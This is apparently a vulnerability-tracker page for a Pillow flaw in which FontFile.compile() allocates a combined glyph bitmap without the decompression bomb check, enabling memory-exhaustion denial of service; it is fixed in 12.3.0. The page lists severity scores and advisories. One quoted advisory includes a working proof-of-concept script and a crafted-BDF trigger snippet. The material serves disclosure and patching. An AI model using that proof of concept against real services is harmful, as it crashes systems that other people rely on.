CVE-2026-54060

highpriority · track · 0EPSS 0.004 · 36 %ileDEEUFRRUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.42% (36th) EPSS
CVSS 7.5 · high
Is it mine?
52 products
Check your exposure
Who says so?
6 sources
cnnvd · enisa_euvd · fstec_bdu · osv

EPSS · scored 2026-10-27

Pillow is a Python imaging library. Prior to 12.3.0, PIL/FontFile.py FontFile.compile() assembled per-glyph images into a combined bitmap with Image.new("1", (xsize, ysize)) without calling Image._decompression_bomb_check(), allowing a font to trigger excessive allocation during conversion or saving. This issue is fixed in version 12.3.0.

01

cvss

Technical severity, 0–10. One row per scoring source.

7.5
010

base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 6.9–7.5

v3.17.5highAV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:Hsecondary · FSTEC (BDU) RU
v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:Hsecondary · ENISA EU
v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:Hsecondary · security-advisories@github.comexploitability 3.9 · impact 3.6
v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:Hsecondary · OSV
v3.16.9mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:Usecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: yes · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (52)

Products and version ranges known to be affected.

05

advisories (5)

Vendor and ecosystem advisories describing this.

  • WID-SEC-W-2026-2301Red Hat Enterprise Linux (python-pillow): Mehrere Schwachstellen ermöglichen Denial of ServiceDeutsch2026-07-13csaf · cert_bundDE

    Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in Red Hat Enterprise Linux bzgl. python-pillow ausnutzen, um einen Denial of Service Angriff durchzuführen.

  • GHSA-5x94-69rx-g8h2Pillow: `FontFile.compile()`: `Image.new()` called without `_decompression_bomb_check()`2026-07-20ghsa · osvUS

    ## Description `PIL/FontFile.py` `FontFile.compile()` assembles per-glyph images into a single combined bitmap using `Image.new("1", (xsize, ysize))` without calling `Image._decompression_bomb_check()`. This is the base-class method shared by both `BdfFontFile` and `PcfFontFile`, and it is triggered whenever a loaded font is converted to an `ImageFont` or saved. Neither `BdfFontFile.BdfFontFile(fp)` nor `PcfFontFile.PcfFontFile(fp)` is registered with `Image.register_open()`, so Pillow's standard decompression bomb guard never fires for font objects. The compile step is the final opportunity to check the combined allocation — and it has no check. **Vulnerable code (`PIL/FontFile.py` lines ~64–92):** ```python def compile(self) -> None: if self.bitmap: return h = w = maxwidth = 0 lines = 1 for glyph in self.glyph: # up to 256 glyph slots if glyph: d, dst, src, im = glyph h = max(h, src[3] - src[1]) # max glyph height — attacker-controlled w = w + (src[2] - src[0]) if w > WIDTH: # WIDTH = 800 lines += 1 w = src[2] - src[0] maxwidth = max(maxwidth, w) xsize = maxwidth # ≤ 800 (capped by WIDTH constant) ysize = lines * h # ← lines(256) × h(65535) = 16,776,960 if xsize == 0 and ysize == 0: return self.ysize = h # NO _decompression_bomb_check() here ← self.bitmap = Image.new("1", (xsize, ysize)) # ← unchecked allocation ``` **"Slow accumulation" attack — per-glyph dimensions stay BELOW warning threshold:** | Metric | Per-glyph (800 × 875) | Combined bitmap (256 glyphs) | |---|---|---| | Pixel count | 700,000 | **179,200,000** | | DecompressionBombWarning threshold (89.4M) | 0.008× — **no warning** | 2.0× — above warning | | DecompressionBombError threshold (178.9M) | 0.004× — **no error** | **1.001× — above error** | With PCF-maximum glyph height (65,535): | Metric | Value | |---|---| | lines | 256 (one per glyph slot, width=800 forces a wrap every glyph) | | h (max glyph height) | 65,535 | | xsize | 800 | | ysize = lines × h | 256 × 65,535 = **16,776,960** | | **Total pixels** | 800 × 16,776,960 = **13,421,568,000** | | **Ratio vs. DecompressionBombError threshold** | **75×** | | Memory (mode "1", 1 bit/pixel) | **~1.6 GB** | ## Steps to reproduce **Proof of Concept script:** ```python #!/usr/bin/env python3 """ PoC: FontFile.compile() bomb bypass 256 glyphs at 800x875 each (individually below warning threshold) → compile() creates 800x224000 = 179.2M px bitmap with NO bomb check """ from PIL import FontFile, Image MAX_GLYPHS = 256 GLYPH_W = 800 GLYPH_H = 875 # individual: 700K px — below 89.4M warning threshold class MockFont(FontFile.FontFile): def __init__(self): super().__init__() # Each glyph is individually safe (700K px < 89.4M warning) im = Image.new("1", (GLYPH_W, GLYPH_H)) for i in range(MAX_GLYPHS): self.glyph[i] = ( (GLYPH_W, GLYPH_H), (0, -GLYPH_H, GLYPH_W, 0), (0, 0, GLYPH_W, GLYPH_H), im, ) # Confirm bomb check WOULD catch the combined size combined_size = (GLYPH_W, MAX_GLYPHS * GLYPH_H) try: Image._decompression_bomb_check(combined_size) print("[FAIL] bomb check did not raise — unexpected") except Image.DecompressionBombError as e: print(f"[OK] bomb check WOULD block {combined_size}: {e}") # Vulnerable path: compile() has NO bomb check font = MockFont() font.compile() # → Image.new("1", (800, 224000)) — no error raised px = font.bitmap.size[0] * font.bitmap.size[1] threshold = Image.MAX_IMAGE_PIXELS * 2 print(f"[BYPASS] compile() succeeded: bitmap={font.bitmap.size}") print(f" pixels={px:,} ({px/threshold:.3f}× DecompressionBombError threshold)") print(f" No DecompressionBombError raised at any point.") ``` **Expected output:** ``` [OK] bomb check WOULD block (800, 224000): Image size (179200000 pixels) exceeds limit of 178956970 pixels, could be decompression bomb DOS attack. [BYPASS] compile() succeeded: bitmap=(800, 224000) pixels=179,200,000 (1.001× DecompressionBombError threshold) No DecompressionBombError raised at any point. ``` **Verified live on Pillow 12.2.0 — compile() succeeds with no exception.** **Real-world trigger using BDF font file:** ```python from PIL import BdfFontFile import io # Load a crafted BDF font with 256 glyphs each claiming height=65535 # (each glyph individually: 800 × 65535 = 52.4M px — below 89.4M warning) # compile() combined: 800 × 16,776,960 = 13.4B px — 75× error threshold font = BdfFontFile.BdfFontFile(open("crafted_256glyph.bdf", "rb")) font.to_imagefont() # → compile() → ~1.6 GB allocation, NO bomb check ``` **Attack scenarios:** | Scenario | Effect | |---|---| | Web font preview (`BdfFontFile(upload).to_imagefont()`) | DoS with crafted .bdf upload | | Server-side font renderer that loads PCF → `to_imagefont()` | OOM crash | | Font pipeline: load → render text | One malicious font file kills the process | ## Impact - **Availability:** HIGH — `compile()` creates a combined bitmap whose pixel count scales as `WIDTH × lines × max_glyph_height` with no upper bound check. With max PCF glyph height (65,535) and 256 glyphs, the combined allocation is ~1.6 GB. With BDF (text-format, unbounded height), the allocation is limited only by system memory. - **Confidentiality:** None - **Integrity:** None **Affected call paths:** - `BdfFontFile.BdfFontFile(fp).to_imagefont()` → `FontFile.compile()` - `BdfFontFile.BdfFontFile(fp).save(filename)` → `FontFile.compile()` - `PcfFontFile.PcfFontFile(fp).to_imagefont()` → `FontFile.compile()` - `PcfFontFile.PcfFontFile(fp).save(filename)` → `FontFile.compile()` Neither `BdfFontFile` nor `PcfFontFile` is loaded via `Image.open()`, so the standard decompression bomb guard is **entirely absent** from the font loading code path. `compile()` is the only point where the combined allocation size is known, and it has no check. Confirmed unpatched on `python-pillow/Pillow` `main` branch as of 2026-06-08.

  • BIT-pillow-2026-54060Pillow: `FontFile.compile()`: `Image.new()` called without `_decompression_bomb_check()`2026-07-08vendor · osvUS

    Pillow is a Python imaging library. Prior to 12.3.0, PIL/FontFile.py FontFile.compile() assembled per-glyph images into a combined bitmap with Image.new("1", (xsize, ysize)) without calling Image._decompression_bomb_check(), allowing a font to trigger excessive allocation during conversion or saving. This issue is fixed in version 12.3.0.

  • CERTFR-2026-AVI-1366Multiples vulnérabilités dans les produits SplunkFrançais2026-10-22vendor · certfrFR
  • PYSEC-2026-22542026-07-06vendor · osvUS

    Pillow is a Python imaging library. Prior to 12.3.0, PIL/FontFile.py FontFile.compile() assembled per-glyph images into a combined bitmap with Image.new("1", (xsize, ysize)) without calling Image._decompression_bomb_check(), allowing a font to trigger excessive allocation during conversion or saving. This issue is fixed in version 12.3.0.

06

also known as (9)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

08

references (9)

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan